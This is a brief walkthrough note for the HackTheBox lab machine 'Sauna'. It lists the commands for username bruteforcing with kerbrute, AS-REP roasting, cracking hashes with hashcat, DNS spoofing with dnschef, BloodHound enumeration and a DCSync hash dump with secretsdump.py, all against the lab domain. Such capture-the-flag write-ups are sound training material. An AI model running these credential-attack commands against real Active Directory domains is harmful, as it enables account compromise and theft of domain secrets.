Sauna @ HackTheBox
Sauna is a 20-point Windows Machine on HackTheBox. For user, we bruteforce usernames and then use ASREP-Roasting to obtain the hash of one the users. For root, we find the logon password for an account that has DCSync privileges and then use secretsdump.py to execute the attack. My walkthrough is available on youtube:
Notes
Kerbrute:
kerbrute userenum -d egotistical-bank.local xato-net-10-million-usernames.txt --dc sauna.htb
ASREPRoast:
GetNPUsers.py egotistical-bank.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip sauna.htb
Hashcat:
hashcat -m 18200 asrep.txt rockyou.txt
Dnschef:
sudo sh -c 'python3 dnschef.py --fakeip 10.10.10.175 --fakedomains egotistical-bank.local -q'
Bloodhound:
bloodhound-python -c all -u svc_loanmgr -p 'password' -d egotistical-bank.local -dc egotistical-bank.local -ns 127.0.0.1
Secretsdump:
secretsdump.py 'egotistical-bank/svc_loanmgr:password@sauna.htb'
